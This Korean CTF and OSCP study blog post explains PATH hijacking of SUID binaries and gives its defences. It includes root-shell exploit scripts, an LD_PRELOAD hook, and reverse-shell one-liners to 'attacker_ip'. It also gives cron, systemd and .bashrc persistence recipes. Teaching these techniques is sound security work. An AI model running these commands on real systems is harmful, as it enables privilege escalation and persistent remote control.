PATH 하이재킹(PATH Hijacking)

agnusdei·2025년 6월 20일
0

CTF

목록 보기
28/154

🧠 PATH 하이재킹 (PATH Hijacking) – 심층 원리 정리


✅ 1. 개념 (Definition)

PATH 하이재킹이란?

운영체제의 $PATH 환경변수(PATH Environment Variable) 를 조작하여, 시스템이 실행하려는 정상 명령어(binary) 대신 공격자가 만든 악성 실행파일(malicious executable) 을 먼저 실행되도록 유도하는 공격 기법.


✅ 2. 역할 & 목적 (Role & Objective)

구분설명
역할시스템이 명령어 검색 시 참조하는 경로 우선순위를 악용하여, 가짜 실행파일이 정상 명령어 대신 실행되도록 함
목적루트 권한 탈취(SUID Binary 이용), 악성 코드 삽입, 시스템 장악 등

✅ 3. 구조 및 구성요소 (Structure & Components)

구성요소설명
$PATH 환경변수명령어 검색 경로 목록. :으로 구분된 디렉토리 목록
SUID 바이너리루트 권한으로 실행되는 프로그램. 절대경로 없이 명령어 실행 시 취약점 발생 가능
악성 스크립트공격자가 $PATH 앞쪽에 위치시킨 가짜 명령어 스크립트
export 명령어export PATH=/tmp:$PATH 등을 통해 PATH 앞쪽에 공격자가 만든 디렉토리 삽입

✅ 4. 동작 원리 (Working Principle)

  1. 사용자가 명령어(id 등) 를 입력하거나 프로그램이 명령어를 호출함 (e.g., system("id"))
  2. 시스템은 $PATH에 나열된 디렉토리 순서대로 id 파일을 찾음
  3. 공격자가 우선순위가 가장 높은 디렉토리(/tmp 등)id 라는 악성 스크립트를 심어둠
  4. 시스템은 이를 먼저 발견하고 실행함 → 공격자 코드 실행

즉, “누가 먼저 PATH에 등록됐냐”에 따라 실행 결과가 완전히 달라짐


✅ 5. 공격 조건 (Prerequisites)

조건설명
SUID root 바이너리루트 권한을 가진 바이너리 실행파일
절대 경로 없이 명령 실행system("id") vs system("/usr/bin/id")
공격자가 PATH 수정 가능환경변수 조작 권한 필요
쓰기 가능한 디렉토리 (/tmp 등)공격자가 가짜 명령어를 심을 수 있어야 함

✅ 6. 종류 (Variants)

종류설명
일반 PATH 하이재킹$PATH 앞에 디렉토리를 추가하여 실행 순서를 변경
환경 변수 오염 (Environment Variable Injection)LD_PRELOAD, LD_LIBRARY_PATH 등 다른 환경변수를 조작
디렉토리 하이재킹/usr/bin 같은 디렉토리를 재마운트하거나 바꿔치기

✅ 7. 핵심 용어 정리

용어의미
$PATH명령어 검색 디렉토리 경로 목록
SUID (Set User ID)실행 시 실행자 권한이 아닌 파일 소유자 권한으로 동작
system()C 언어에서 쉘 명령어를 실행하는 함수
export환경변수를 설정하는 쉘 명령어
chmod +x파일에 실행 권한을 부여

✅ 8. 특징 (Features)

특징설명
취약점 발생 위치가 명확치 않음코드 내부의 system() 호출 등으로 추적 어려움
매우 단순하지만 효과적설정 몇 줄로 root shell 획득 가능
사용자 실수 및 설계 오류 악용경로 하드코딩 누락 등
탐지 어려움공격 흔적이 일시적, 흔히 사용되는 디렉토리 이용

✅ 9. 장단점 (Pros & Cons)

구분장점단점
공격자 입장루트 권한 탈취 가능, 도구 거의 필요 없음환경변수 수정 제한, SUID 바이너리 필요
방어자 입장단순한 정책/코딩 실수로 쉽게 방어 가능코드 리뷰 없을 경우 취약점 발견 어려움

✅ 10. 실제 공격 시나리오 예시

# 1. /tmp 디렉토리에 악성 id 생성
echo '#!/bin/bash' > /tmp/id
echo '/bin/bash' >> /tmp/id
chmod +x /tmp/id

# 2. PATH 앞에 /tmp 삽입
export PATH=/tmp:$PATH

# 3. 대상 프로그램 실행
/usr/sbin/pwm  # SUID root이고 내부에서 system("id") 호출 시 root 쉘

✅ 11. 방어 방법

방법설명
명령어 호출 시 절대 경로 사용system("/usr/bin/id")
$PATH 환경변수 고정PATH 하드코딩 또는 최소 권한 디렉토리만 포함
SUID 바이너리에서 system() 사용 금지execve() 함수 등으로 대체
tmp 디렉토리 퍼미션 제한Sticky bit 설정, 실행권한 제한 등

✅ 12. 어린이 버전 요약 ✨

시스템은 “명령어(id)”를 찾을 때, “어디서 먼저 찾을까?” 라고 생각해요.
만약 공격자가 먼저 찾히는 곳(/tmp)가짜 id 를 만들어두면?
진짜 대신 가짜가 실행돼요!
이걸 이용해서 루트 권한으로 쉘 열기도 할 수 있어요! 😈


✅ 13. 관련 심화 개념

  • strace: 시스템 호출 추적 도구 → 어떤 명령이 실행되는지 추적 가능
  • SUID + system() 사용의 위험성 → 백도어로 악용될 수 있음
  • 환경 변수 오염(Environment Variable Poisoning)
  • Sticky bit: /tmp 같은 디렉토리에서 사용자 간 삭제 제한

✅ 14. 실무 예시 (CTF/OSCP 실습에 자주 나옴)

  • OSCP 등에서는 /usr/bin/something 이 SUID root로 되어 있고, 내부에서 system("whoami") 호출할 때, PATH=/tmp:$PATH 하고 /tmp/whoami/bin/bash 넣는 식으로 exploit.

좋습니다! 앞에서 PATH 하이재킹의 원리와 구조를 깊게 설명했으니, 이번에는 이어서 다음 내용을 심화 설명드리겠습니다:


🔍 PATH 하이재킹 – 심화 내용 및 실습 예제


✅ 15. strace 를 이용한 실제 동작 확인 (실행 흐름 추적)

strace는 시스템 호출을 추적하는 도구입니다. 프로그램이 어떤 명령어를 실행했는지, 어떤 파일을 열었는지, 어디에서 실패했는지 등을 확인할 수 있습니다.

💡 예시: system("id") 를 사용하는 바이너리 분석

# strace 명령어로 실행 추적
strace /usr/sbin/pwm 2>&1 | grep exec

🔍 출력 예시

execve("/usr/sbin/pwm", ["/usr/sbin/pwm"], 0x7ffed58dbf38 /* 50 vars */) = 0
execve("/usr/local/bin/id", ["id"], 0x7ffed58dbf38 /* 50 vars */) = -1 ENOENT
execve("/usr/bin/id", ["id"], 0x7ffed58dbf38 /* 50 vars */) = 0
  • /usr/sbin/pwmid 명령을 실행할 때 절대 경로가 아닌 이름만 사용했음을 알 수 있음
  • PATH 순서대로 execve() 시스템 호출이 일어남

✅ 공격자는 /tmp/id를 먼저 찾도록 PATH를 조작하면 /usr/bin/id가 아니라 가짜가 실행됨!


✅ 16. 다양한 실습 예시

🎯 예제 1: 기본 PATH 하이재킹 with id 명령

# 1. 공격자가 /tmp 디렉토리에 악성 id 생성
echo -e '#!/bin/bash\n/bin/bash' > /tmp/id
chmod +x /tmp/id

# 2. 공격자가 PATH를 조작
export PATH=/tmp:$PATH

# 3. SUID 바이너리 실행
/usr/sbin/pwm
  • 결과: 루트 쉘 획득 가능 (전제: pwm이 SUID root이고, 내부에서 id 명령을 절대경로 없이 호출)

🎯 예제 2: whoami 명령을 악용

echo -e '#!/bin/bash\necho "Got root!" && /bin/bash' > /tmp/whoami
chmod +x /tmp/whoami
export PATH=/tmp:$PATH

/usr/sbin/suid_binary  # 내부에서 whoami 실행 시 exploit

🎯 예제 3: 파일 조작 스크립트 (cp, mv, ls 등)

echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod +s /tmp/rootbash' > /tmp/cp
chmod +x /tmp/cp
export PATH=/tmp:$PATH

/usr/sbin/suid_program_that_calls_cp
  • 결과: /tmp/rootbash 가 SUID root 로 변경됨 → ./rootbash -p 로 루트 쉘

🎯 예제 4: 로그 기록용 echo 명령어 하이재킹

echo -e '#!/bin/bash\necho "owned" >> /tmp/hacked.log' > /tmp/echo
chmod +x /tmp/echo
export PATH=/tmp:$PATH

/usr/sbin/log_writer_binary

✅ 17. 실무에서 자주 발생하는 SUID 취약 명령 패턴

SUID 루트 바이너리가 다음과 같은 방식으로 명령을 실행할 경우 취약해질 수 있습니다:

// 내부 코드 (C언어 예시)
#include <stdlib.h>
void vuln() {
    system("id");
}
// 내부 bash 스크립트
#!/bin/bash
whoami

이 경우, 절대경로 사용 안함 → 공격자에게 기회 제공.


✅ 18. 환경변수 오염 (관련 기법과 차이점)

기법설명조건
PATH 하이재킹가짜 명령어가 먼저 실행되도록 경로 우선순위 변경내부 명령 실행이 상대경로일 때
LD_PRELOAD 하이재킹라이브러리 대신 가짜 동적 라이브러리를 로딩SUID에서는 무효
LD_LIBRARY_PATH공유 라이브러리 검색 경로 변경마찬가지로 SUID 바이너리에선 제한됨

LD_* 계열은 보통 SUID 프로그램에는 무시됩니다.
그러므로 SUID 바이너리를 노릴 때는 PATH 하이재킹이 더 효과적입니다.


✅ 19. 방어 전략 요약

방법설명
절대 경로 사용system("/usr/bin/id") 처럼 정확한 위치 명시
PATH 고정PATH=/usr/bin:/bin 식으로 고정값만 사용
환경변수 초기화프로그램 시작 시 불필요한 env 제거
tmp 사용 제한/tmp에 실행 권한 없도록 mount 옵션 적용 (noexec)
프로그램 검증strace, lsof, checksec 도구로 취약한 SUID 바이너리 확인

✅ 20. 종합 흐름도 (공격 프로세스 요약)

[공격자 권한 획득된 쉘]
        ↓
[가짜 명령어 제작 (id, whoami 등)]
        ↓
[실행 권한 부여 → chmod +x]
        ↓
[PATH 환경변수 앞쪽에 삽입 → export PATH=/tmp:$PATH]
        ↓
[SUID Binary 실행 (내부에서 system()으로 명령 실행)]
        ↓
[가짜 명령어 먼저 실행됨 → 악성 코드 동작]
        ↓
[root shell 획득 or 권한 상승]

✅ 21. 검증 도구

도구역할
strace내부 명령어 흐름 추적
checksec바이너리 보안 설정 확인 (SUID 여부 등)
find / -perm -4000 -type f 2>/dev/null시스템 내 SUID 바이너리 탐색
env현재 환경변수 확인
strings바이너리 내부 문자열 분석 (어떤 명령 호출하는지 파악)

✅ 22. OSCP 및 CTF 대비 팁

  • SUID 바이너리를 보면 가장 먼저:

    1. strings binaryname 으로 내부 명령 확인
    2. 절대 경로 없이 쓰였는지 확인
    3. strace로 어떤 명령어를 실행하는지 실시간 확인
    4. 가짜 명령어 만들고 PATH 하이재킹 시도

네! 말씀하신 4가지 주제에 대해 심층적으로 자세히 설명드리겠습니다.


1. Sticky Bit, noexec Mount 옵션


Sticky Bit (스티키 비트)

개념파일 시스템 권한 비트 중 하나로, 주로 디렉토리에 적용됨
목적디렉토리 내 파일을 오직 소유자, 디렉토리 소유자, root만 삭제할 수 있도록 제한
주로 적용되는 곳/tmp, /var/tmp 등 공용 임시 디렉토리

설명:
/tmp 같은 공용 디렉토리는 여러 사용자가 파일을 만들고 삭제할 수 있는데, sticky bit가 없으면 다른 사용자가 나의 파일을 삭제할 수 있습니다. sticky bit를 설정하면 오직 본인만 자신의 파일을 삭제하거나 이름 변경 가능.

설정 방법:

chmod +t /tmp

효과:
사용자 A가 만든 악성 스크립트를 사용자 B가 삭제하지 못하게 방지해 줌.


noexec Mount 옵션

개념특정 디렉토리에서 실행 권한을 제한하는 마운트 옵션
목적/tmp 같은 디렉토리에서 실행파일 실행 금지 (실행 제한)
효과/tmp에 악성 스크립트를 심어도 실행이 되지 않음

설정 예시:

mount -o remount,noexec /tmp

/etc/fstab에 다음과 같이 설정할 수도 있음:

tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0

방어 효과:
악성 스크립트를 /tmp에 심더라도 실행 자체가 불가능하여 PATH 하이재킹 방지에 큰 도움.


2. LD_PRELOAD 하이재킹 원리


개념

LD_PRELOAD는 동적 라이브러리를 실행 시 프로세스에 강제로 먼저 로드하는 환경 변수입니다.


동작 원리

  • 리눅스 프로그램은 보통 동적 라이브러리를 사용하며, /lib/usr/lib에서 로드됨
  • LD_PRELOAD에 지정된 라이브러리가 가장 먼저 로드되어, 기존 라이브러리 함수(예: open, execve 등)를 가로챔
  • 이를 악용해 함수 호출을 가로채고, 악성 동작을 수행 가능

사용 예

export LD_PRELOAD=/tmp/malicious.so
./vulnerable_program
  • malicious.so에서 open(), execve() 같은 시스템 호출 후킹 가능

주의점

  • SUID 바이너리 실행 시 LD_PRELOAD는 무시됨!
    보안 상의 이유로 SUID 프로그램 실행 시 환경 변수 LD_PRELOAD는 자동 제거됨
  • 따라서 LD_PRELOAD 하이재킹은 SUID가 아닌 일반 권한 프로그램에서 주로 사용

3. 쉘 자동 실행 및 지속성 확보 방법


1) 쉘 자동 실행

  • 악성 스크립트나 바이너리를 실행하여 쉘을 자동으로 띄우는 것

예:

#!/bin/bash
/bin/bash
  • 혹은 특정 포트로 리버스 쉘 연결
bash -i >& /dev/tcp/attacker_ip/1234 0>&1

2) 쉘 지속성 확보 방법

  • 공격자가 접속 후 쉘이 끊어져도 다시 접속 가능하도록 하는 것
방법설명
백도어 서비스 설치cron, systemd 등에 쉘 스크립트 등록하여 주기 실행
.bashrc, .profile 수정로그인 시 악성 명령 자동 실행
at 명령어 예약단발성 쉘 실행 예약
리버스 쉘 유지while true; do bash -i >& /dev/tcp/...; sleep 10; done

예: cron에 리버스 쉘 등록

(crontab -l 2>/dev/null; echo "* * * * * /tmp/rev_shell.sh") | crontab -

4. SUID Exploit 자동화 스크립트 예시 (Bash)


목적

  • PATH 하이재킹 공격 자동화
  • 실행권한 부여 → PATH 조작 → SUID 바이너리 실행 → 쉘 획득까지 자동 수행

예시 스크립트 (bash)

#!/bin/bash

# 1. 공격용 가짜 명령어 생성 (/tmp/id)
echo -e '#!/bin/bash\n/bin/bash' > /tmp/id
chmod +x /tmp/id

# 2. PATH 앞쪽에 /tmp 추가
export PATH=/tmp:$PATH

# 3. 취약 SUID 바이너리 실행
/usr/sbin/pwm

# 4. 쉘이 떨어지지 않으면 아래 커맨드 직접 실행 가능
# /tmp/id

확장 버전 (whoami, cp 등 다중 악성 스크립트 생성)

#!/bin/bash

declare -A payloads
payloads=( ["id"]="/bin/bash" ["whoami"]="echo Got Root && /bin/bash" ["cp"]="cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" )

for cmd in "${!payloads[@]}"; do
    echo -e "#!/bin/bash\n${payloads[$cmd]}" > /tmp/$cmd
    chmod +x /tmp/$cmd
done

export PATH=/tmp:$PATH
/usr/sbin/pwm

주의사항

  • 자동화 스크립트 실행 전, 대상 바이너리의 내부 명령어 호출 패턴(절대경로 유무)과 SUID 여부를 반드시 확인하세요.
  • 환경 변수 조작이 제한된 경우, 공격 실패 가능성 존재합니다.

네! 세 주제 모두 심층적으로 깊이 있게 설명드리겠습니다.


1. Sticky Bit, noexec Mount 심화


Sticky Bit 심층 이해

  • Sticky bit는 디렉토리에 설정되는 특수 권한 비트입니다.
  • 일반 파일에서 설정되면(드물게), 시스템에서 중요한 의미를 갖지만, 현대 리눅스에서 가장 주목받는 것은 디렉토리에 설정된 경우입니다.

동작 원리:

  • 디렉토리에 sticky bit가 있으면

    • 디렉토리 내에서 파일 삭제 또는 이름 변경 권한을 소유자, 디렉토리 소유자, root로 제한합니다.
    • 즉, 일반 사용자는 다른 사용자의 파일을 삭제할 수 없습니다.

사용 예: /tmp 디렉토리

ls -ld /tmp
drwxrwxrwt 12 root root 4096 Jun 20 15:00 /tmp
          ↑
          └ sticky bit (t)
  • /tmp는 모든 사용자에게 쓰기 권한이 있지만, sticky bit(t)가 있어서
    각자가 만든 파일은 자기 자신만 삭제 가능

취약점 방어에 미치는 영향:

  • 공격자가 /tmp에 악성 스크립트 파일을 만들더라도
  • 다른 사용자가 그 파일을 삭제하는 것을 막고,
  • 동시에 /tmp를 완전히 비워서 방어하는 공격자는 제한됨.

noexec Mount 심층 이해

noexec는 마운트 옵션 중 하나로, 해당 파일 시스템 내에서 실행 권한을 가진 파일도 실행을 막는 옵션입니다.

  • 파일 권한 상 실행 가능해도, noexec 마운트에서는 실행 불가
  • 주로 /tmp와 같은 임시 파일 시스템에서 설정

실제 동작:

mount -o remount,noexec /tmp
  • 이미 마운트된 /tmp를 다시 마운트하면서 noexec 옵션 적용
  • 이후 /tmp 내에서 실행권한이 있어도 ./script.sh 같은 실행 불가

검증:

/tmp$ echo -e '#!/bin/bash\necho hello' > test.sh
/tmp$ chmod +x test.sh
/tmp$ ./test.sh
bash: ./test.sh: Permission denied

방어 효과:

  • 공격자가 /tmp에 악성 스크립트 심어도 실행 불가 → PATH 하이재킹 차단
  • 다만, 스크립트를 bash로 명시적으로 실행하는 경우는 실행 가능
    (예: bash /tmp/test.sh는 실행됨, ./test.sh는 안 됨)

대응:

  • 가능한 한 /tmp에 noexec 적용 권장
  • /tmp를 노리는 공격 대부분 차단 가능

2. LD_PRELOAD 하이재킹 심층


LD_PRELOAD 내부 원리

  • ELF 리눅스 바이너리가 동적 라이브러리를 로딩할 때,
  • LD_PRELOAD 환경변수에 지정된 라이브러리를 최우선으로 로드하여 기존 함수 호출을 가로챕니다.

동작 순서:

  1. LD_PRELOAD 경로의 .so 파일을 로드
  2. .so 내부에서 기존 함수(예: open, execve)를 재정의
  3. 호출 시 가로채서 원하는 동작 수행 가능

예시: open 함수 후킹

malicious.so C 코드 일부:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>

int open(const char *pathname, int flags) {
    static int (*orig_open)(const char *, int) = NULL;
    if (!orig_open) {
        orig_open = dlsym(RTLD_NEXT, "open");
    }
    printf("open called for: %s\n", pathname);
    return orig_open(pathname, flags);
}
  • open 호출 시 로그 출력 후 원래 함수 호출

제한 및 주의

  • SUID 바이너리에서 LD_PRELOAD는 보안 상 자동으로 무시됨
  • 따라서 SUID 권한 상승 공격에는 불가
  • 일반 프로그램 권한 상승, 디버깅, 우회 등에서 주로 활용됨

공격 시나리오

  • 로컬 권한으로 실행 가능한 서비스가
  • 특정 기능을 open 등 시스템 함수 호출로 수행하는 경우
  • 악성 LD_PRELOAD 라이브러리를 사용해 권한 상승 시도 가능

3. 쉘 자동 실행 및 지속성 확보 심층


1) 쉘 자동 실행 상세

  • 쉘을 자동으로 실행하는 스크립트 작성 시 다음 포인트 중요:
방법설명장점단점
단순 쉘 실행#!/bin/bash + /bin/bash 호출간단쉘 끊어지면 종료
리버스 쉘 연결bash -i >& /dev/tcp/ip/port 0>&1외부 접속 가능방화벽/네트워크 제약
포워드 쉘nc -e /bin/bash ip port공격자 접속 시 실행nc 없으면 실패

2) 쉘 지속성 확보 상세

  • 쉘이 끊어져도 다시 실행하게 하는 여러 방법

a. cron 잡 등록

(crontab -l 2>/dev/null; echo "* * * * * /tmp/rev_shell.sh") | crontab -
  • 1분마다 /tmp/rev_shell.sh 실행

b. systemd 서비스 생성

cat <<EOF > /etc/systemd/system/revshell.service
[Unit]
Description=Reverse Shell

[Service]
ExecStart=/tmp/rev_shell.sh

[Install]
WantedBy=multi-user.target
EOF

systemctl enable revshell.service
systemctl start revshell.service

c. 로그인 스크립트 수정

  • ~/.bashrc 또는 /etc/profile 등에 쉘 실행 명령 추가
echo "/tmp/rev_shell.sh" >> ~/.bashrc

d. at 명령 예약 (일회성)

echo "/tmp/rev_shell.sh" | at now + 1 minute

3) 쉘 자동 재접속 스크립트 (루프 구조)

#!/bin/bash
while true; do
  bash -i >& /dev/tcp/attacker_ip/1234 0>&1
  sleep 10
done
  • 연결이 끊겨도 10초 후 자동 재연결 시도

4. SUID Exploit 자동화 스크립트 심층


자동화 스크립트 설계 핵심

  • 가짜 명령어 생성 → 실행 권한 부여 → PATH 조작 → 취약 SUID 바이너리 실행 → 쉘 획득
  • 공격 대상 바이너리 내부 명령어 호출을 사전에 파악해야 함

1) 내부 명령어 확인

strings /usr/sbin/pwm | grep -E 'id|whoami|cp|mv|echo'
  • 어떤 명령어가 호출되는지 확인 후 가짜 명령어 생성

2) 실행권한 부여 및 PATH 설정

for cmd in id whoami cp; do
  echo -e '#!/bin/bash\n/bin/bash' > /tmp/$cmd
  chmod +x /tmp/$cmd
done

export PATH=/tmp:$PATH

3) SUID 바이너리 실행 및 쉘 확인

/usr/sbin/pwm
  • 쉘이 획득되지 않으면 /tmp/id 직접 실행해도 됨

4) 자동화 스크립트 예제 (확장판)

#!/bin/bash

# 가짜 명령어와 페이로드 정의
declare -A payloads
payloads=(
  [id]="/bin/bash"
  [whoami]="echo 'Got root!' && /bin/bash"
  [cp]="cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"
)

# 가짜 명령어 생성
for cmd in "${!payloads[@]}"; do
  echo -e "#!/bin/bash\n${payloads[$cmd]}" > /tmp/$cmd
  chmod +x /tmp/$cmd
done

# PATH 우선순위 변경
export PATH=/tmp:$PATH

# 취약한 SUID 바이너리 실행
/usr/sbin/pwm

5) 취약점 탐색 자동화 (find + checksec)

# SUID 바이너리 리스트 출력
find / -perm -4000 -type f 2>/dev/null > suid_bins.txt

# checksec 설치 후 권한 확인 자동화 (예: checksec --file=filename)
while read -r bin; do
  echo "Checking $bin"
  checksec --file=$bin
done < suid_bins.txt

profile
DevSecOps ⚙️ + CTF🚩

0개의 댓글